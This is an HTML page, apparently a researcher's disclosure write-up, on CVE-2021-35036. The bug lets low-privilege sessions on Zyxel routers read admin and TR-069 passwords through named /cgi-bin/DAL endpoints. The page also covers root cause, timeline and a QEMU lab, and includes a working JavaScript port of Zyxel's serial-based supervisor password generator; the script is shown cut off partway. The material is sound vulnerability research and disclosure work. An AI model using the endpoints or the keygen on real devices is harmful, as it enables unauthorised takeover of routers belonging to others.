5585 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / index.html HTML
<!doctype html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>Zyxel Super-Admin Password Leak Across CPE, ONT, LTE, and 5G Routers</title>
  <meta name="description" content="Technical notes on a Zyxel DAL credential exposure: the getter paths that exposed privileged account and management credentials, plus a VMG8825-B50B genpass lab.">
  <meta property="og:type" content="article">
  <meta property="og:title" content="Zyxel Super-Admin Password Leak Across CPE, ONT, LTE, and 5G Routers">
  <meta property="og:description" content="Technical notes on a Zyxel DAL credential exposure: the getter paths that exposed privileged account and management credentials, plus a VMG8825-B50B genpass lab.">
  <meta property="og:image" content="https://minanagehsalalma.github.io/zyxel-cve-2021-35036-super-admin-password-leak/assets/properhero.jpg">
  <meta name="twitter:card" content="summary_large_image">
  <meta name="twitter:title" content="Zyxel Super-Admin Password Leak Across CPE, ONT, LTE, and 5G Routers">
  <meta name="twitter:description" content="Technical notes on a Zyxel DAL credential exposure: the getter paths that exposed privileged account and management credentials, plus a VMG8825-B50B genpass lab.">
  <meta name="twitter:image" content="https://minanagehsalalma.github.io/zyxel-cve-2021-35036-super-admin-password-leak/assets/properhero.jpg">
  <link rel="icon" href="assets/favicon.svg" type="image/svg+xml">
  <link rel="stylesheet" href="assets/site.css">
</head>
<body>
  <main class="page">
    <section class="hero">
      <div class="hero-layout">
        <div class="hero-copy">
          <span class="eyebrow">CVE-2021-35036 / Zyxel firmware notes</span>
          <h1>Super-Admin Password Leak Affecting Zyxel CPE/ONT/LTE Fleet</h1>
          <p class="dek">
            These notes cover the path I reported in <strong>VMG3625-T50B firmware V5.50(ABTL.0)b2k</strong>: authenticated low-privilege sessions could call DAL getters
            that returned administrator, supervisor, FTPS, and TR-069 credentials. Zyxel later published the advisory with a wider affected-product list.
          </p>
          <div class="byline">
            <span>By <strong>Mina Zekry</strong></span>
            <span>Independent vulnerability research and firmware analysis</span>
          </div>
        </div>
        <figure class="hero-visual">
          <img src="assets/properhero.jpg" alt="Hero image for the CVE-2021-35036 Zyxel credential exposure write-up.">
          <figcaption>CVE-2021-35036 write-up, disclosure evidence, and VMG8825-B50B genpass lab.</figcaption>
        </figure>
      </div>
      <div class="profile-links" aria-label="Research links">
        <a href="https://github.com/minanagehsalalma/zyxel-cve-2021-35036-super-admin-password-leak" target="_blank" rel="noreferrer">GitHub <span>repo, generator, lab bundle</span></a>
        <a href="https://www.linkedin.com/in/minanagehzekry" target="_blank" rel="noreferrer">LinkedIn <span>Mina Zekry</span></a>
        <a href="https://x.com/monxresearch" target="_blank" rel="noreferrer">X <span>monxresearch</span></a>
        <a href="https://medium.com/@monxresearch" target="_blank" rel="noreferrer">Medium <span>@monxresearch</span></a>
      </div>
      <div class="hero-meta">
        <span>Initial report: October 2021</span>
        <span>Public advisory: September 27, 2022</span>
        <span>Primary CWE: CWE-312</span>
      </div>
    </section>

    <section class="grid grid-3">
      <article class="stat">
        <div class="stat-head">
          <span class="icon-badge" aria-hidden="true">
            <svg viewBox="0 0 24 24"><path d="M12 3 21 19H3L12 3Z"/><path d="M12 9v4"/><path d="M12 17h.01"/></svg>
          </span>
          <span class="card-kicker">Impact</span>
        </div>
        <strong>Privilege escalation by disclosure</strong>
        <p>A user-level session could read passwords for higher-privilege local accounts and management services.</p>
      </article>
      <article class="stat">
        <div class="stat-head">
          <span class="icon-badge" aria-hidden="true">
            <svg viewBox="0 0 24 24"><path d="M4 7h16"/><path d="M4 12h16"/><path d="M4 17h10"/></svg>
          </span>
          <span class="card-kicker">Scope</span>
        </div>
        <strong>Shared management stack</strong>
        <p>The affected paths sit in shared <code>libzcfg_fe_dal</code> management code, not in a single web template.</p>
      </article>
      <article class="stat">
        <div class="stat-head">
          <span class="icon-badge" aria-hidden="true">
            <svg viewBox="0 0 24 24"><path d="M4 12h16"/><path d="M12 4v16"/></svg>
          </span>
          <span class="card-kicker">Patch trail</span>
        </div>
        <strong>Fix the getter path</strong>
        <p>Masking values in CLI or web rendering does not help if <code>/cgi-bin/DAL</code> can still return the raw object.</p>
      </article>
    </section>

    <section class="grid grid-2">
      <article class="panel">
        <span class="card-kicker">What Was Reported</span>
        <div class="section-head">
          <span class="icon-badge" aria-hidden="true">
            <svg viewBox="0 0 24 24"><path d="M12 3 21 19H3L12 3Z"/><path d="M12 9v4"/><path d="M12 17h.01"/></svg>
          </span>
          <h2>Original finding</h2>
        </div>
        <p>
          A <code>user</code>-privileged account could browse directly to:
        </p>
        <ul>
          <li><code>/cgi-bin/DAL?oid=login_privilege</code></li>
          <li><code>/cgi-bin/DAL?oid=tr69</code></li>
        </ul>
        <p>
          and obtain cleartext values for local accounts and TR-069 credentials. My disclosure material also shows a related
          <code>/getDefaultInformation</code> response leaking default passwords for <code>root</code>, <code>supervisor</code>, <code>admin</code>, <code>admin1</code>, and <code>ftps</code>.
        </p>
        <div class="note">
          The bug is the access boundary: a low-privilege web session could ask ordinary DAL handlers for objects that contained raw secrets.
        </div>
        <figure class="inline-proof">
          <img src="disclosure-proof-images/page-04-img-01.png" alt="Intercepted Zyxel login_privilege response with leaked account data.">
          <figcaption>Intercept evidence captured during disclosure.</figcaption>
        </figure>
      </article>

      <article class="panel">
        <span class="card-kicker">Public scope</span>
        <div class="section-head">
          <span class="icon-badge" aria-hidden="true">
            <svg viewBox="0 0 24 24"><path d="M4 7h16"/><path d="M4 12h16"/><path d="M4 17h16"/></svg>
          </span>
          <h2>Affected product families</h2>
        </div>
        <p>
          Zyxel first assigned the CVE for <strong>VMG3625-T50B</strong>. The public advisory later listed multiple CPE, ONT, LTE, and 5G product families.
        </p>
        <ul>
          <li><strong>DSL / Ethernet CPE:</strong> VMG3625-T50B, VMG3927-T50K, VMG8623-T50B, VMG8825-T50K, EMG3525-T50B, EMG5523-T50B, EMG5723-T50K, DX3301-T0, DX5401-B0, EX5401-B0, EX5501-B0</li>
          <li><strong>Fiber ONT:</strong> AX7501-B series, EP240P, PMG5617GA, PMG5622GA, PMG5317-T20B, PMG5617-T20B2, PM7300-T0</li>
          <li><strong>4G / 5G CPE:</strong> LTE3301-PLUS, LTE5388 family, LTE7480 family, LTE7490-M804, NR5101, NR7101, NR7102</li>
        </ul>
        <p>
          That scope is consistent with a bug in shared management code rather than a page-specific display issue.
        </p>
      </article>
    </section>

    <section class="panel">
      <span class="card-kicker">Root Cause</span>
      <div class="section-head">
        <span class="icon-badge" aria-hidden="true">
          <svg viewBox="0 0 24 24"><path d="M12 3v6"/><path d="M12 15v6"/><path d="m5.64 5.64 4.24 4.24"/><path d="m14.12 14.12 4.24 4.24"/><path d="M3 12h6"/><path d="M15 12h6"/><path d="m5.64 18.36 4.24-4.24"/><path d="m14.12 9.88 4.24-4.24"/><circle cx="12" cy="12" r="2.5"/></svg>
        </span>
        <h2>Why the leak existed</h2>
      </div>
      <div class="grid grid-2">
        <div>
          <h3>1. Login privilege GET returned raw passwords</h3>
          <p>
            In the firmware source, <code>zcfgFeDal_LoginPrivilege_Get</code> iterates through
            <code>RDM_OID_ZY_LOG_CFG_GP_ACCOUNT</code> and copies each account's <code>Password</code> field directly into the outgoing JSON array.
          </p>
<pre><code><span class="tok-fn">json_object_object_add</span>(paramJobj, <span class="tok-str">"Username"</span>,
  <span class="tok-fn">JSON_OBJ_COPY</span>(<span class="tok-fn">json_object_object_get</span>(loginPrivilegeObj, <span class="tok-str">"Username"</span>)));
<span class="tok-fn">json_object_object_add</span>(paramJobj, <span class="tok-str">"Password"</span>,
  <span class="tok-fn">JSON_OBJ_COPY</span>(<span class="tok-fn">json_object_object_get</span>(loginPrivilegeObj, <span class="tok-str">"Password"</span>)));</code></pre>
          <p>
            The DAL command registration then exposes <code>login_privilege</code> as <code>edit|get</code> with an empty privilege string, even though the inline comment still says <code>root_only</code>.
          </p>
        </div>
        <div>
          <h3>2. TR-069 GET copied the whole management object</h3>
          <p>
            The TR-069 DAL getter uses a generic copy path across the management parameter list. That includes <code>Password</code> and
            <code>ConnectionRequestPassword</code>, which are copied out unless another layer explicitly strips them.
          </p>
<pre><code><span class="tok-key">else</span> {
  <span class="tok-fn">json_object_object_add</span>(pramJobj, paraName,
    <span class="tok-fn">JSON_OBJ_COPY</span>(<span class="tok-fn">json_object_object_get</span>(mgmtJobj, paraName)));
}</code></pre>
          <p>
            The corresponding DAL registration exposes <code>tr69</code> as <code>get|edit</code>.
          </p>
        </div>
        <div>
          <h3>3. Cosmetic hiding arrived after the backend exposure</h3>
          <p>
            Later patches show Zyxel masking values in display code by printing <code>********</code> for ACS and SIP passwords. That is a UI and CLI presentation fix, not a backend access-control fix.
          </p>
<pre><code><span class="tok-fn">printf</span>(<span class="tok-str">"%-45s %s\n"</span>, <span class="tok-str">"ACS Password"</span>, <span class="tok-str">"********"</span>);</code></pre>
        </div>
        <div>
          <h3>4. Subsequent metadata fixes confirm the sensitivity</h3>
          <p>
            Other later patches add <code>PARAMETER_ATTR_PASSWORD</code> to fields like <code>Password</code>,
            <code>ConnectionRequestPassword</code>, <code>DefaultPassword</code>, and <code>PasswordHash</code>.
            That change acknowledges these values should not have been returned verbatim in getter flows.
          </p>
        </div>
      </div>
    </section>

    <section class="grid grid-2">
      <article class="panel">
        <span class="card-kicker">Timeline</span>
        <div class="section-head">
          <span class="icon-badge" aria-hidden="true">
            <svg viewBox="0 0 24 24"><circle cx="12" cy="12" r="8"/><path d="M12 7v5l3 2"/></svg>
          </span>
          <h2>Disclosure path</h2>
        </div>
        <div class="timeline">
          <div class="timeline-item">
            <strong>October 5, 2021</strong>
            The issue is reported to Zyxel as a cleartext credential exposure reachable from a low-privilege account.
          </div>
          <div class="timeline-item">
            <strong>October 18, 2021</strong>
            Zyxel assigns <code>CVE-2021-35036</code> for the VMG3625-T50B case.
          </div>
          <div class="timeline-item">
            <strong>March 2022</strong>
            Planned disclosure is delayed again while patches are prepared.
          </div>
          <div class="timeline-item">
            <strong>September 27, 2022</strong>
            Zyxel notifies the researcher that the CVE and advisory will be published.
          </div>
          <div class="timeline-item">
            <strong>September 28, 2022</strong>
            Zyxel confirms public advisory publication and Hall of Fame acknowledgment.
          </div>
        </div>
      </article>

      <article class="panel easter-egg">
        <span class="card-kicker">Genpass Lab</span>
        <div class="section-head">
          <span class="icon-badge" aria-hidden="true">
            <svg viewBox="0 0 24 24"><path d="M7 10V7a5 5 0 1 1 10 0v3"/><rect x="5" y="10" width="14" height="10" rx="2"/><path d="M12 14v2"/></svg>
          </span>
          <h2>The VMG8825 <code>genpass</code> clue</h2>
        </div>
        <p>
          This repository includes an adapted copy of the public
          <a href="https://github.com/boginw/zyxel-vmg8825-keygen" target="_blank" rel="noreferrer">Zyxel VMG8825-T50 keygen work by boginw</a>,
          tailored for the <strong>VMG8825-B50B</strong> because the original version did not fit this router model directly.
          The lab is useful because it shows another place where credential material was handled as reusable vendor logic.
        </p>
        <p>
          <code>run-qemu.bat</code> launches the ARM guest, <code>rootfs.ext2</code> carries the extracted filesystem, and the tracked
          <code>adapted-runtime/opt/genpass/genpass</code> wrapper is the B50B-specific version included in the repository. That wrapper accepts serials whose fifth character is <code>V</code>, <code>Y</code>, or <code>H</code>
          before calling into vendor password-generation code under <code>/opt/zyxel</code>.
        </p>
        <ol class="lab-steps">
          <li>Launch the emulator from the repo with <code>.\zyxel-vmg8825-b50b-keygen-lab\run-qemu.bat</code>.</li>
          <li>At the guest login, authenticate with <code>root</code> / <code>root</code>.</li>
          <li>Run <code>genpass S182V12345678</code> to derive the supervisor and admin password families from a sample modem serial.</li>
        </ol>
<pre><code><span class="tok-str"># host</span>
PS&gt; <span class="tok-fn">.\zyxel-vmg8825-b50b-keygen-lab\run-qemu.bat</span>

<span class="tok-str"># inside the bundled emulator</span>
root@VMG8825-B50B-emul:~# <span class="tok-fn">genpass</span> <span class="tok-str">S182V12345678</span>

<span class="tok-str">Old algorithm supervisor password..............</span> 789630c0
<span class="tok-str">New algorithm supervisor password..............</span> dEfczwP8Sy
<span class="tok-str">...</span>
<span class="tok-str">additional admin and Wi-Fi outputs continue below</span></code></pre>
        <p>
          This is separate from the DAL bug, but it explains why the surrounding firmware model matters:
          multiple components could fetch, transform, display, or regenerate credential material.
        </p>
      </article>
    </section>

    <section class="panel">
      <span class="card-kicker">Reverse Engineering</span>
      <div class="section-head">
        <span class="icon-badge" aria-hidden="true">
          <svg viewBox="0 0 24 24"><path d="M4 6h16"/><path d="M4 12h10"/><path d="M4 18h7"/><path d="M17 9l3 3-3 3"/></svg>
        </span>
        <h2>How <code>genpass</code> works internally</h2>
      </div>
      <div class="grid grid-2">
        <div>
          <h3>1. The shell script is only a front-end</h3>
          <p>
            I started with the extracted <code>genpass</code> shell wrapper, not the password algorithm itself. The script validates the serial format,
            exports it as <code>SERIAL</code>, sets <code>LD_LIBRARY_PATH</code> to Zyxel's extracted libraries, preloads <code>libhook.so</code>, and then invokes
            the real worker binary: <code>/opt/genpass/getpassword</code>.
          </p>
          <p>
            The visible script does not derive passwords on its own. It acts as an execution harness that feeds controlled input into vendor code
            that was originally meant to run inside the router environment.
          </p>
        </div>
        <div>
          <h3>2. <code>libhook.so</code> replaces the router's serial source</h3>
          <p>
            The preload library supplies the serial number expected by the vendor code. Static analysis of its exported symbols shows that it overrides
            <code>zyUtilIGetSerialNumber</code> and <code>zcfgBeCommonIsApplyRandomSupervisorPasswordNewAlgorithm</code>.
          </p>
          <p>
            In the first hook, the code calls <code>getenv("SERIAL")</code>. If the environment variable is present, it copies that value into the caller's buffer.
            If not, it falls back to the original function via <code>dlsym(RTLD_NEXT, "zyUtilIGetSerialNumber")</code>. In the second hook, it simply returns
            <code>1</code>, forcing the "new random supervisor password" path on during emulation.
          </p>
        </div>
        <div>
          <h3>3. <code>getpassword</code> is an orchestrator, not the algorithm</h3>
          <p>
            String and symbol analysis of <code>getpassword</code> shows that it dynamically resolves the real generators at runtime. Its string table contains
            <code>libzcfg_be.so</code>, <code>libzcfg_be_wind.so</code>,
            <code>zcfgBeCommonGenKeyBySerialNumMethod2</code>, <code>zcfgBeCommonGenKeyBySerialNumMethod3</code>,
            <code>zcfgBeCommonGenKeyBySerialNumConfigLength</code>, <code>zcfgBeCommonGenKeyBySerialNumConfigLengthOld</code>,
            and <code>zcfgBeWlanGenDefaultKey</code>.
          </p>
          <p>
            The binary does not embed one monolithic algorithm. It loads vendor library entry points, asks them for the
            required buffer sizes, invokes multiple generation routines, and prints the results under labels such as old/new supervisor, old/new admin, WIND-specific
            admin variants, and several Wi-Fi key families.
          </p>
        </div>
        <div>
          <h3>4. The emulator recreates enough of the firmware to make the vendor code run</h3>
          <p>
            This works in QEMU because the extracted filesystem still contains the userland and shared objects the original firmware expected.
            The wrapper points <code>LD_LIBRARY_PATH</code> at Zyxel's library directories, the preload hook substitutes missing hardware-derived state,
            and the vendor password functions execute as if they were running on the device.
          </p>
          <p>
            From a reverse-engineering perspective, <code>genpass</code> is a harness around reusable product logic rather than a standalone cracking tool.
            The lab setup does not reimplement Zyxel's algorithms; it restores just enough runtime context to call them directly.
          </p>
        </div>
        <div>
          <h3>5. The supervisor routines are deterministic and portable</h3>
          <p>
            Disassembly of <code>zcfgBeCommonGenKeyBySerialNumMethod2</code> and
            <code>zcfgBeCommonGenKeyBySerialNumMethod3</code> shows two exact supervisor paths. <code>Method2</code> computes <code>MD5(serial)</code>, renders each digest byte as
            vendor-style hex where one-nibble bytes are duplicated instead of zero-padded, hashes that string again, and then samples every third character to build the
            old supervisor password.
          </p>
          <p>
            <code>Method3</code> reuses that same double-hash stream, uppercases it, derives a 16-bit seed from bytes 1 and 2 of <code>MD5(serial)</code>, increments the seed
            until a ten-slot mod-3 schedule contains uppercase, lowercase, and digit classes, and then maps each sampled byte into safe alphabets with explicit substitutions
            for <code>I</code>, <code>O</code>, <code>l</code>, <code>o</code>, <code>1</code>, and <code>0</code>. That is why the generator can be ported cleanly into browser
            JavaScript: the firmware logic is deterministic and table driven.
          </p>
        </div>
      </div>
      <div class="algo-demo" data-sample-serial="S182V12345678" id="exact-supervisor-generator">
        <div class="algo-demo-head">
          <div>
            <span class="card-kicker">Exact Browser Port</span>
            <h3>Supervisor generator for <code>Method2</code> and <code>Method3</code></h3>
          </div>
          <div class="algo-demo-actions">
            <button class="algo-demo-button" type="button" data-action="generate">Generate</button>
            <button class="algo-demo-button" type="button" data-action="replay">Replay Method3</button>
          </div>
        </div>
        <p class="algo-demo-copy">
          This widget is a browser-side port of the two supervisor routines exposed by the bundled <code>getpassword</code> runtime.
          It validates the B50B serial format accepted by this repository's wrapper, reproduces Zyxel's double-hash quirk, and replays the final <code>Method3</code> slot mapping.
        </p>
        <form class="algo-form">
          <label class="algo-field" for="algo-serial-input">
            <span class="algo-label">Router serial</span>
            <input id="algo-serial-input" class="algo-input" name="serial" type="text" inputmode="latin" autocomplete="off" spellcheck="false" value="S182V12345678" />
          </label>
          <p class="algo-form-copy">
            Accepted format for the tracked B50B wrapper: <code>S</code> + 3 digits + <code>V</code>/<code>Y</code>/<code>H</code> + 8 digits.
          </p>
        </form>
        <div class="algo-stage-strip" aria-hidden="true">
          <span class="algo-stage" data-stage="validate">1. Validate</span>
          <span class="algo-stage" data-stage="doublehash">2. Double hash</span>
          <span class="algo-stage" data-stage="slots">3. Slot map</span>
          <span class="algo-stage" data-stage="output">4. Output</span>
        </div>
        <div class="algo-demo-grid">
          <article class="algo-card">
            <span class="algo-label">Vendor double-hash</span>
            <div class="algo-rows">
              <div class="algo-row algo-row-hash1">
                <span><code>MD5(serial)</code> in vendor hex</span>
                <code class="algo-hash1"></code>
              </div>
              <div class="algo-row algo-row-hash2">
                <span><code>MD5(round1)</code> in vendor hex</span>
                <code class="algo-hash2"></code>
              </div>
              <div class="algo-row algo-row-sample">
                <span>Every third character tap</span>
                <code class="algo-sample"></code>
              </div>
            </div>
            <p class="algo-foot"><code>Method2</code> returns the first eight tapped characters. <code>Method3</code> uppercases the ten-character tap before class mapping.</p>
          </article>
          <article class="algo-card">
            <span class="algo-label">Method3 slot schedule</span>
            <div class="algo-index-list algo-slot-list" aria-label="Method3 slot classes"></div>
            <p class="algo-foot">The scheduler advances the seed until the ten slots contain uppercase, lowercase, and digit classes at least once.</p>
          </article>
          <article class="algo-card">
            <span class="algo-label">Method3 output replay</span>
            <div class="chip-row algo-password algo-password-live" aria-live="polite" aria-label="Method3 generated password"></div>
            <p class="algo-foot algo-status">Ready. Generate a result or replay the slot-by-slot mapping.</p>
          </article>
          <article class="algo-card algo-card-output">
            <span class="algo-label">Exact supervisor outputs</span>
            <div class="algo-result-stack">
              <div class="algo-result">
                <span>Old supervisor / <code>Method2</code></span>
                <strong class="algo-output-old"></strong>
              </div>
              <div class="algo-result">
                <span>New supervisor / <code>Method3</code></span>
                <strong class="algo-output-new"></strong>
              </div>
            </div>
            <p class="algo-foot">This matches the call order inside <code>getpassword</code>: old supervisor is <code>Method2</code>, new supervisor is <code>Method3</code>.</p>
          </article>
        </div>
      </div>
      <div class="note">
        The architectural point is simple: password generation lived in callable shared libraries, and serial-number retrieval could be intercepted cleanly.
        A small wrapper was enough to expose deterministic serial-based generators as a repeatable offline workflow.
      </div>
    </section>

    <section class="panel">
        <span class="card-kicker">Impact</span>
      <div class="section-head">
        <span class="icon-badge" aria-hidden="true">
          <svg viewBox="0 0 24 24"><path d="M12 3 21 19H3L12 3Z"/><path d="M12 9v4"/><path d="M12 17h.01"/></svg>
        </span>
        <h2>Impact</h2>
      </div>
      <p>
        Describing this only as “cleartext storage” misses the practical impact:
        a weaker account could retrieve secrets for higher-privilege local users and remote-management channels through web-exposed DAL endpoints.
        In a real deployment, that gives an authenticated attacker a direct privilege-escalation path.
      </p>
      <p>
        The later patch trail is also useful context. The source history shows incremental changes:
        getter exposure, masking in display functions, and later password-type metadata on sensitive parameters.
      </p>
    </section>

    <section class="panel">
      <span class="card-kicker">References</span>
      <div class="section-head">
        <span class="icon-badge" aria-hidden="true">
          <svg viewBox="0 0 24 24"><path d="M7 4h9l4 4v12H7z"/><path d="M16 4v4h4"/><path d="M10 12h6"/><path d="M10 16h6"/></svg>
        </span>
        <h2>Primary references</h2>
      </div>
      <ol>
        <li><a href="https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-advisory-for-cleartext-storage-of-information-vulnerability">Zyxel advisory: cleartext storage of information vulnerability</a></li>
        <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2021-35036">NVD entry for CVE-2021-35036</a></li>
        <li><a href="https://github.com/minanagehsalalma/zyxel-cve-2021-35036-super-admin-password-leak" target="_blank" rel="noreferrer">Repository: article source, generator, and VMG8825-B50B lab bundle</a></li>
        <li><a href="https://github.com/boginw/zyxel-vmg8825-keygen" target="_blank" rel="noreferrer">Boginw: Zyxel VMG8825-T50 Supervisor Keygen</a></li>
      </ol>
    </section>

  </main>
  <script>
    (() => {
      const demo = document.querySelector(".algo-demo");
      if (!demo) return;

      const sampleSerial = (demo.dataset.sampleSerial || "").trim();
      const form = demo.querySelector(".algo-form");
      const serialInput = demo.querySelector(".algo-input");
      const hash1Host = demo.querySelector(".algo-hash1");
      const hash2Host = demo.querySelector(".algo-hash2");
      const sampleHost = demo.querySelector(".algo-sample");
      const slotHost = demo.querySelector(".algo-slot-list");
      const livePasswordHost = demo.querySelector(".algo-password-live");
      const oldOutputHost = demo.querySelector(".algo-output-old");
      const newOutputHost = demo.querySelector(".algo-output-new");
      const statusHost = demo.querySelector(".algo-status");
      const generateButton = demo.querySelector('[data-action="generate"]');
      const replayButton = demo.querySelector('[data-action="replay"]');
      const stageNodes = Array.from(demo.querySelectorAll(".algo-stage"));
      const prefersReducedMotion = window.matchMedia("(prefers-reduced-motion: reduce)").matches;
      const keyStr1 = "IO";
      const keyStr2 = "lo";
      const keyStr3 = "10";
      const valStr = "23456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnpqrstuvwxyz0123456789ABCDEF";
      const offset1 = 0x8;
      const offset2 = 0x20;
      let activeRun = 0;
      let currentState = null;

      const md5Shift = [
        7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22, 7, 12, 17, 22,
        5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20, 5, 9, 14, 20,
        4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23, 4, 11, 16, 23,
        6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21, 6, 10, 15, 21
      ];

      const md5Table = Array.from({ length: 64 }, (_, index) => Math.floor(Math.abs(Math.sin(index + 1)) * 0x100000000) >>> 0);

      function add32(...values) {
        return values.reduce((accumulator, value) => (accumulator + value) >>> 0, 0);
      }

      function rotateLeft(value, shift) {
        return ((value << shift) | (value >>> (32 - shift))) >>> 0;
      }

      function md5Bytes(input) {
        const source = new TextEncoder().encode(input);
        const bitLength = source.length * 8;
        const paddedLength = (((source.length + 9 + 63) >> 6) << 6);
        const buffer = new Uint8Array(paddedLength);
        buffer.set(source);
        buffer[source.length] = 0x80;

        const view = new DataView(buffer.buffer);
        view.setUint32(paddedLength - 8, bitLength >>> 0, true);
        view.setUint32(paddedLength - 4, Math.floor(bitLength / 0x100000000), true);

        let a = 0x67452301;
        let b = 0xefcdab89;
        let c = 0x98badcfe;
        let d = 0x10325476;

        for (let offset = 0; offset < paddedLength; offset += 64) {
          const words = Array.from({ length: 16 }, (_, index) => view.getUint32(offset + (index * 4), true));
          let aa = a;
          let bb = b;
          let cc = c;
          let dd = d;

          for (let i = 0; i < 64; i += 1) {
            let f;
            let g;

            if (i < 16) {
              f = (bb & cc) | (~bb & dd);
              g = i;
            } else if (i < 32) {
              f = (dd & bb) | (~dd & cc);
              g = ((5 * i) + 1) % 16;
            } else if (i < 48) {
              f = bb ^ cc ^ dd;
              g = ((3 * i) + 5) % 16;
            } else {
              f = cc ^ (bb | ~dd);
              g = (7 * i) % 16;
            }

            const next = dd;
            const sum = add32(aa, f, md5Table[i], words[g]);
            dd = cc;
            cc = bb;
            bb = add32(bb, rotateLeft(sum, md5Shift[i]));
            aa = next;
          }

          a = add32(a, aa);
          b = add32(b, bb);
          c = add32(c, cc);
          d = add32(d, dd);
        }

        const output = new Uint8Array(16);
        const resultView = new DataView(output.buffer);
        resultView.setUint32(0, a, true);
        resultView.setUint32(4, b, true);
        resultView.setUint32(8, c, true);
        resultView.setUint32(12, d, true);
        return output;
      }

      function vendorHex(bytes) {
        return Array.from(bytes, (byte) => {
          const nibble = byte.toString(16);
          return nibble.length === 1 ? nibble + nibble : nibble;
        }).join("");
      }

      function doubleHash(serial, size) {
        const round1 = vendorHex(md5Bytes(serial));
        const round2 = vendorHex(md5Bytes(round1));
        const sampled = Array.from({ length: size }, (_, index) => round2[index * 3]).join("");
        return { round1, round2, sampled };
      }

      function mod3KeyGenerator(seed) {
        const slots = new Array(10).fill(0);
        let finalSeed = seed;

        while (true) {
          finalSeed += 1;
          let powerOf2 = 1;
          const counts = [0, 0, 0];

          for (let index = 0; index < 10; index += 1) {
            const slotClass = Math.floor((finalSeed % (powerOf2 * 3)) / powerOf2);
            slots[index] = slotClass;
            counts[slotClass] += 1;
            powerOf2 <<= 1;
          }

          if (counts.every((count) => count > 0)) {
            return { finalSeed, slots: [...slots] };
          }
        }
      }

      function method2(serial) {
        return doubleHash(serial, 8).sampled;
      }

      function method3(serial) {
        const hashInfo = doubleHash(serial, 10);
        const round3 = hashInfo.sampled.toUpperCase().split("").map((char) => char.charCodeAt(0));
        const md5String = md5Bytes(serial);
        let strAsInt = (md5String[1] << 8) + md5String[2];
        const { finalSeed, slots } = mod3KeyGenerator(strAsInt);
        strAsInt = finalSeed;
        const outputChars = [];
        const slotDetails = [];

        for (let index = 0; index < 10; index += 1) {
          const slotClass = slots[index];
          let codePoint;
          let substituted = false;

          if (slotClass === 1) {
            codePoint = (round3[index] % 0x1a) + "A".charCodeAt(0);
            for (let j = 0; j < 2; j += 1) {
              if (codePoint === keyStr1.charCodeAt(j)) {
                codePoint = valStr.charCodeAt(offset1 + ((strAsInt + j) % 0x18));
                substituted = true;
                break;
              }
            }
          } else if (slotClass === 2) {
            codePoint = (round3[index] % 0x1a) + "a".charCodeAt(0);
            for (let j = 0; j < 2; j += 1) {
              if (codePoint === keyStr2.charCodeAt(j)) {
                codePoint = valStr.charCodeAt(offset2 + ((strAsInt + j) % 0x18));
                substituted = true;
                break;
              }
            }
          } else {
            codePoint = (round3[index] % 10) + "0".charCodeAt(0);
            for (let j = 0; j < 2; j += 1) {
              if (codePoint === keyStr3.charCodeAt(j)) {
                codePoint = valStr.charCodeAt((strAsInt + j) & 7);
                substituted = true;
                break;
              }
            }
          }

          const outputChar = String.fromCharCode(codePoint);
          outputChars.push(outputChar);
          slotDetails.push({
            index,
            slotClass,
            sampledChar: String.fromCharCode(round3[index]),
            outputChar,
            substituted
          });
        }

        return {
          ...hashInfo,
          seedBase: (md5String[1] << 8) + md5String[2],
          finalSeed,
          slots,
          slotDetails,
          output: outputChars.join("")
        };
      }

      function isValidSerial(serial) {
        return /^S\d{3}[VYH]\d{8}$/.test(serial);
      }

      function className(slotClass) {
        if (slotClass === 1) return "upper";
        if (slotClass === 2) return "lower";
        return "digit";
      }

      function createLiveChip(text) {
        const chip = document.createElement("span");
        chip.className = "chip algo-password-char";
        chip.textContent = text;
        return chip;
      }

      function setStage(name) {
        stageNodes.forEach((node) => {
          node.classList.toggle("is-active", node.dataset.stage === name);
        });
      }

      function clearHotStates() {
        demo.querySelectorAll(".is-hot, .is-done").forEach((node) => {
          node.classList.remove("is-hot", "is-done");
        });
      }

      function renderSlots(slotDetails) {
        slotHost.replaceChildren(...slotDetails.map((slot) => {
          const row = document.createElement("div");
          row.className = "algo-index-item";
          row.dataset.index = String(slot.index);
          row.innerHTML = `<span>slot ${String(slot.index + 1).padStart(2, "0")}</span><strong>${className(slot.slotClass)}</strong><code>${slot.sampledChar} -> ${slot.outputChar}${slot.substituted ? " *" : ""}</code>`;
          return row;
        }));
      }

      function renderOutputs(state, method3VisibleCount = state.method3.output.length) {
        livePasswordHost.replaceChildren(...state.method3.output.split("").map((char, index) => createLiveChip(index < method3VisibleCount ? char : "·")));
        oldOutputHost.textContent = state.method2;
        newOutputHost.textContent = method3VisibleCount === state.method3.output.length ? state.method3.output : state.method3.output.slice(0, method3VisibleCount).padEnd(state.method3.output.length, "·");
      }

      function renderState(state) {
        hash1Host.textContent = state.method3.round1;
        hash2Host.textContent = state.method3.round2;
        sampleHost.textContent = `${state.method2} / ${state.method3.sampled.toUpperCase()}`;
        renderSlots(state.method3.slotDetails);
        renderOutputs(state);
      }

      function computeState(serial) {
        if (!isValidSerial(serial)) {
          throw new Error("Enter a 13-character B50B serial in the form SxxxVyyyyyyyy, SxxxYyyyyyyyy, or SxxxHyyyyyyyy.");
        }

        const method3State = method3(serial);
        return {
          serial,
          method2: method2(serial),
          method3: method3State
        };
      }

      function applyCaptureFrame(frameIndex) {
        if (!currentState) return;

        clearHotStates();
        renderState(currentState);
        const rows = Array.from(slotHost.children);
        const liveChips = Array.from(livePasswordHost.children);

        if (frameIndex <= 0) {
          setStage("validate");
          renderOutputs(currentState, 0);
          statusHost.textContent = "Stage 1: the wrapper validates the serial format before touching the vendor routines.";
          return;
        }

        if (frameIndex === 1) {
          setStage("doublehash");
          demo.querySelector(".algo-row-hash1")?.classList.add("is-hot");
          demo.querySelector(".algo-row-hash2")?.classList.add("is-hot");
          demo.querySelector(".algo-row-sample")?.classList.add("is-hot");
          renderOutputs(currentState, 0);
          statusHost.textContent = "Stage 2: two vendor-style MD5 passes produce the tapped supervisor material.";
          return;
        }

        if (frameIndex === 2) {
          setStage("slots");
          rows.forEach((row) => row.classList.add("is-hot"));
